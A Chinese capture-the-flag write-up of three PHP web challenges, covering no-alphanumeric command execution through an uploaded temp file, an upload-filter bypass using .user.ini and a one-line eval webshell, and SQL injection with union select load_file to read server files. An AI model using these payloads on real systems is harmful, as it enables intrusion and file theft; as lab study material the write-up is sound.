0X03

红包题第二弹

看到源码里面的提示

?cmd=phpinfo();

看到源码

kk

关键点就是有两个正则表达式

第一个

preg_match("/[A-Za-oq-z0-9$]+/",$cmd)

第二个

preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)

从第一个发现小写字母p没有被过滤掉,同时也是做了许多的过滤

是无字母数字RCE,并且不能用取反,异或,自增去绕过

因为过滤了~^,异或和取反都不用考虑了

其他师傅的做法

利用上传的临时文件去命令执行getshell

基本思路就是上传?,然后利用eval($cmd)去执行它。既然知道临时文件夹下的命名规则,也没有过滤通配符?,构造./??p/p?p??????就能读到这个文件。

点就相当于source

用来执行文件。source /home/user/bash 等同于 . /home/user/bash

问号?代表一个任意字符,通配符/??p/p?p??????匹配/tmp/phpxxxxxx

临时文件目录

php上传文件后会将文件存储在临时文件夹,然后用move_uploaded_file()

函数将上传的文件移动到新位置。临时文件夹可通过php.ini的upload_tmp_dir 指定,默认是/tmp目录。

规则

默认为 php+4或者6位随机数字和大小写字母,在windows下有tmp后缀,linux没有。比如windows下:phpXXXXXX.tmp

linux下:phpXXXXXX。

后面的就有点整不懂了

先放一放

web13

文件上传的窗口

先上传php文件看,出现报错

访问upload.php

是不是备份文件,这个备份文件是系统自己产生的

加上.bak,

<?php 
	header("content-type:text/html;charset=utf-8");
	$filename = $_FILES['file']['name'];
	$temp_name = $_FILES['file']['tmp_name'];
	$size = $_FILES['file']['size'];
	$error = $_FILES['file']['error'];
	$arr = pathinfo($filename);
	$ext_suffix = $arr['extension'];
	if ($size > 24){
		die("error file zise");
	}
	if (strlen($filename)>9){
		die("error file name");
	}
	if(strlen($ext_suffix)>3){
		die("error suffix");
	}
	if(preg_match("/php/i",$ext_suffix)){
		die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
        die("error file name");
    }
	if (move_uploaded_file($temp_name, './'.$filename)){
		echo "文件上传成功!";
	}else{
		echo "文件上传失败!";
	}

 ?>

拓展名只能读取一个,且不能为php,文件的大小要小于24字节,不能有php

先传入.user.ini,进行写入

auto_prepend_file=1.txt

也就是后面传入的文件会以php的形式打开

传入1.txt

<?= @eval($_POST[1]);?>

连接显示返回数据为空

j检查一下,是已经上传成功的

glob() 函数返回匹配指定模式的文件名或目录

用函数看看目录下有什么文件

?a=print_r(scandir('.'));

或者

/?a=print_r(glob("*"));

尝试读取

?a=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");

获取flag

web14

源代码直接显示

 <?php
include("secret.php");

if(isset($_GET['c'])){
    $c = intval($_GET['c']);
    sleep($c);
    switch ($c) {
        case 1:
            echo '$url';
            break;
        case 2:
            echo '@A@';
            break;
        case 555555:
            echo $url;
        case 44444:
            echo "@A@";
            break;
        case 3333:
            echo $url;
            break;
        case 222:
            echo '@A@';
            break;
        case 222:
            echo '@A@';
            break;
        case 3333:
            echo $url;
            break;
        case 44444:
            echo '@A@';
        case 555555:
            echo $url;
            break;
        case 3:
            echo '@A@';
        case 6000000:
            echo "$url";
        case 1:
            echo '@A@';
            break;
    }
}

highlight_file(__FILE__); 

先可以尝试一下get

当我们输入c=3

刚开始的时候没有觉得什么奇怪的,后来想会不会是后面的文件路径

加上试一下

看到新的登录框

在尝试一下admin的时候,发现URL里面出现一个新的参数query=admin

query=1和2还有3有回显加上字符就没有了,应该就是数字型注入了,并且过滤掉空格

刚刚里面出现过一文件secret.php

在index.php中包含了一个secret.php,先读这个文件试试

load_file函数可以轻松读取本地文件的全部或部分内容

eg:load_file('/home/user/test.txt');

?query=-1/**/union/**/select/**/load_file("/var/www/html/secret.php")#

可以看到flag实际上是在:/real_flag_is_here,所以读这个文件

?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')

相关推荐
一条不想当淡水鱼的咸鱼7 分钟前
taro中实现带有途径点的路径规划
javascript·react.js·taro
土豆炒马铃薯。15 分钟前
【Vue】前端使用node.js对数据库直接进行CRUD操作
前端·javascript·vue.js·node.js·html5
dengjiayue21 分钟前
MySQL 查询大偏移量(LIMIT)问题分析
数据库·mysql
言之。25 分钟前
【MySQL】在MySQL中如何定位慢查询?
数据库·mysql
DashVector1 小时前
如何通过HTTP API插入Doc
数据库·人工智能·http·阿里云·向量检索
DashVector1 小时前
如何通过HTTP API分组检索Doc
服务器·数据库·http·数据库开发·数据库架构
Suwg2091 小时前
【MySQL】踩坑笔记——保存带有换行符等特殊字符的数据,需要进行转义保存
数据库·笔记·mysql
PittDing1 小时前
【更新】Docker新手入门教程2:在Windows系统通过compose创建多个mysql镜像并配置应用
windows·mysql·docker
温轻舟1 小时前
前端开发 -- 自动回复机器人【附完整源码】
前端·javascript·css·机器人·html·交互·温轻舟
赵大仁1 小时前
深入解析 Vue 3 的核心原理
前端·javascript·vue.js·react.js·ecmascript